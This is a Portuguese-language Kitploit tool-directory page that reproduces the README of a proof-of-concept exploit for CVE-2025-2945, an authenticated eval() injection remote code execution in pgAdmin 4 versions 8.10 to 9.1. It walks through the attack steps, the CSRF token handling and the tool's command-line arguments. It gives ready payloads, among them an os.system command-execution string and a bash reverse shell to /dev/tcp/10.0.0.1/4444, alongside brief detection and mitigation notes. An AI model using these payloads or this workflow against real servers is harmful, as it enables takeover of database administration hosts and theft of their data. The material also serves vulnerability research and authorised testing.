Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-2945-pgadmin-rce — RCE autenticada no pgAdmin 4 (8.10–9.1) via injeção de eval() na Ferramenta de Consulta. Este é um PoC atualizado com correções de compatibilidade para as mudanças de autenticação do pgAdmin 9.x | Kitploit
Ferramentas/GitHubGitHub/plur1bu5/cve-2025-2945-pgadmin-rce
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoRed Teaming
GitHubplur1bu5/cve-2025-2945-pgadmin-rce

CVE-2025-2945-pgadmin-rce

RCE autenticada no pgAdmin 4 (8.10–9.1) via injeção de eval() na Ferramenta de Consulta. Este é um PoC atualizado com correções de compatibilidade para as mudanças de autenticação do pgAdmin 9.x

Ver Repositório
há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-2945 — RCE Autenticada no Query Tool do pgAdmin 4

Prova de conceito para CVE-2025-2945, uma vulnerabilidade crítica de execução remota de código no pgAdmin 4.

Versões afetadas: 8.10 a 9.1
Corrigido em: 9.2 (lançado em 4 de abril de 2025)
CVSS v3.1: 9.9 (Crítico)


Visão Geral

O Query Tool do pgAdmin 4 expõe um endpoint que aceita um parâmetro query_commited e o passa diretamente para a função eval() embutida do Python, sem qualquer sanitização. Um atacante autenticado pode enviar código Python arbitrário através desse parâmetro e tê-lo executado no lado do servidor sob a conta de serviço do pgAdmin.

O endpoint vulnerável é:

root@kitploit:~
POST /sqleditor/query_tool/download/<trans_id>

O campo query_commited no corpo JSON é avaliado como código Python no servidor.


Análise Técnica

Causa Raiz

Nas versões do pgAdmin 4 anteriores a 9.2, o manipulador de download do query tool chama eval() em entrada fornecida pelo usuário:

root@kitploit:~
# Representação simplificada do caminho de código vulnerável
result = eval(data.get('query_commited'))

Nenhuma validação de entrada, sandboxing ou lista de permissões é aplicada. Qualquer expressão Python válida é executada com os privilégios do processo pgAdmin.

Fluxo de Exploração

  1. Autenticar — Enviar credenciais via POST para /authenticate/login, obter um cookie de sessão e token CSRF
  2. Inicializar sqleditor — Enviar POST para /sqleditor/initialize/sqleditor/<trans_id>/<sgid>/<sid>/<did> com as credenciais do banco de dados para estabelecer uma sessão do query tool
  3. Descobrir ID do servidor — GET /sqleditor/get_server_connection/<sgid>/<sid> iterando sobre IDs até que um retorne data.status == true
  4. Disparar eval — POST para /sqleditor/query_tool/download/<trans_id> com {"query_commited": "<python payload>"}, receber uma resposta 500 confirmando a execução

Tratamento do Token CSRF (pgAdmin 9.x)

Versões mais antigas do pgAdmin embutiam o token CSRF em um campo <input> oculto ou em um cookie. A versão 9.x migrou para uma arquitetura SPA React, onde o token é embutido como JSON dentro de uma chamada window.renderSecurityPage() na página /login:

root@kitploit:~
"csrfToken": "<token value>"

O token tem escopo de sessão (Flask-WTF / itsdangerous), portanto o token obtido do GET /login inicial permanece válido por toda a sessão e pode ser reutilizado em todas as chamadas de API subsequentes.

Mudança no Endpoint de Login

O pgAdmin 9.x dividiu a rota de login:

  • GET /login — renderiza a página de login (contém o token CSRF)
  • POST /authenticate/login — processa as credenciais

PoCs mais antigas que fazem POST diretamente para /login receberão um 404 ou 405 em instâncias 9.x.


Requisitos

  • Python 3.7+
  • Credenciais válidas do pgAdmin (qualquer usuário autenticado)
  • Credenciais válidas de banco de dados para um servidor registrado no pgAdmin
root@kitploit:~
pip install requests faker

Uso

root@kitploit:~
python3 poc.py \
  --rhost <target_host> \
  --username <pgadmin_email> \
  --password <pgadmin_password> \
  --db-user <db_username> \
  --db-pass <db_password> \
  --db-name <database_name> \
  --payload "<python_expression>"

Argumentos

ArgumentDescription
--rhostHostname ou IP alvo (sem esquema)
--rportPorta alvo (padrão: 80)
--usernameEmail de login do pgAdmin
--passwordSenha de login do pgAdmin
--db-userNome de usuário do PostgreSQL
--db-passSenha do PostgreSQL
--db-nameNome do banco de dados
--payloadExpressão Python a ser avaliada no servidor
--max-server-idMáximo de IDs de servidor a testar (padrão: 10)

Exemplos de Payload

Execução de comando:

root@kitploit:~
--payload "__import__('os').system('id')"

Reverse shell:

root@kitploit:~
--payload "__import__('os').system('bash -c \"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\"')"

Detecção

  • Respostas HTTP 500 inesperadas de /sqleditor/query_tool/download/
  • Processo pgAdmin gerando processos filhos (shells, curl, wget)
  • Conexões de saída do host pgAdmin para IPs desconhecidos

Mitigação

Atualize para o pgAdmin 4 versão 9.2 ou posterior.


Referências

  • https://nvd.nist.gov/vuln/detail/CVE-2025-2945
  • https://www.tenable.com/security/research/tra-2025-2945
  • https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/multi/http/pgadmin_query_tool_rce

Aviso Legal

Este repositório é apenas para fins educacionais e de testes autorizados. Não utilize contra sistemas que você não possui ou não tem permissão explícita para testar.

Baixar ferramenta